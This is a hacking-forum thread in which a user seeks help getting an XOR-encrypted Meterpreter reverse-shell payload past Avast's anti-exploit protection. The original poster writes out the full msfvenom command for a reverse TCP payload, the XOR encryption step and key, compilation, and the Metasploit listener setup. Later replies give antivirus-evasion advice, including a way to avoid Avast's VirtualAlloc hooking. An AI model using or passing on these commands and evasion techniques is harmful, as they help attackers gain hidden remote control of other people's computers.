+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Cryptography, Encryption, and Decryption (https://hackforums.net/forumdisplay.php?fid=126)
+---- Thread: way to bypass exploit shield of avast? (/showthread.php?tid=6223986)
way to bypass exploit shield of avast? - issoulachancla - Oct 9, 2022
hi guys
my encrypted meterpreter payload cannot bypass "avast shield anti exploit"
avast detect it as meterpreter trojan but only when i start a listener on my kali machine , if no listener , avast is not detecting the payload
any ideas?
imgur.com/a/iqc5m4m
here is my source code: pastebin.com/QU4jaLeN
RE: way to bypass exploit shield of avast? - C++ - Oct 9, 2022
Use a crypter, maybe it will work.
RE: way to bypass exploit shield of avast? - issoulachancla - Oct 9, 2022
(Oct 9, 2022 12:15 PM)C++ Wrote: Use a crypter, maybe it will work.
here is my cpp source code :
pastebin.com/QU4jaLeN
perhaps you can help me?
RE: way to bypass exploit shield of avast? - C++ - Oct 10, 2022
Maybe it is the "crypted XOR shellcode", that is triggering avast? can you submit the exectable into antiscan.me?
or send me the full code via PM
RE: way to bypass exploit shield of avast? - issoulachancla - Oct 10, 2022
(Oct 10, 2022 09:21 AM)C++ Wrote: Maybe it is the "crypted XOR shellcode", that is triggering avast? can you submit the exectable into antiscan.me?
or send me the full code via PM
xor_encryptor.py: pastebin.com/L16buZVX
main.cpp: pastebin.com/QU4jaLeN
on kali linux:
sudo msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 30 LHOST=192.168.77.157 LPORT=9980 -f raw -o raw.txt
sudo python3 xor_encryptor.py raw.txt > bcd.txt
copy content of bcd.txt to main.cpp, replace {xor shellcode};
key encryption: cRcEMCRDnYcJyJQk
compile main.cpp to .exe
execute on windows
listener on kali:
sudo msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 9980
exploit
avast detect it on my windows VM, but antiscan.me says it's not detected by avast..
RE: way to bypass exploit shield of avast? - C++ - Oct 11, 2022
Can you check what's being detected by Avast? ^Not sure if it's the metasploit or the encryption.
RE: way to bypass exploit shield of avast? - issoulachancla - Oct 11, 2022
(Oct 11, 2022 04:26 AM)C++ Wrote: Can you check what's being detected by Avast? ^Not sure if it's the metasploit or the encryption.
i don't know it gives me a headache
i think it detect the connection to the listener
🙁
RE: way to bypass exploit shield of avast? - C++ - Oct 11, 2022
You are using a well known metasploit known by anti virus companies. I suggest you to use a better crypter or make your own payload
RE: way to bypass exploit shield of avast? - issoulachancla - Oct 11, 2022
(Oct 11, 2022 08:32 AM)C++ Wrote: You are using a well known metasploit known by anti virus companies. I suggest you to use a better crypter or make your own payload
yeah i think too :)
but it bypass WD easily
only detected by this fckn avast
RE: way to bypass exploit shield of avast? - Blind2k - Oct 31, 2022
Please tell me that u haven't just right now exposed your IP...
RE: way to bypass exploit shield of avast? - optionalchoose - Feb 6, 2023
(Oct 31, 2022 03:49 PM)Blind2k Wrote: Please tell me that u haven't just right now exposed your IP...
I can easily tell how dumb af you are by the way you talk and how you think that a PRIVATE IP IS THE SAME AS A IPV4
RE: way to bypass exploit shield of avast? - Tentco - Nov 14, 2023
(Oct 9, 2022 12:03 PM)issoulachancla Wrote: hi guys
my encrypted meterpreter payload cannot bypass "avast shield anti exploit"
avast detect it as meterpreter trojan but only when i start a listener on my kali machine , if no listener , avast is not detecting the payload
any ideas?
imgur.com/a/iqc5m4m
here is my source code: pastebin.com/QU4jaLeN
Because you're using VirtualAlloc and Avast is directly hooking to it and tracing your shellcode in memory.
A cheap fix would be creating a new segment in your exe and the segment would call VirtualAlloc to create RWX memory and allocate your XOR decrypted shellcode there, don't directly call VirtualAlloc that is one of the major reason for detection.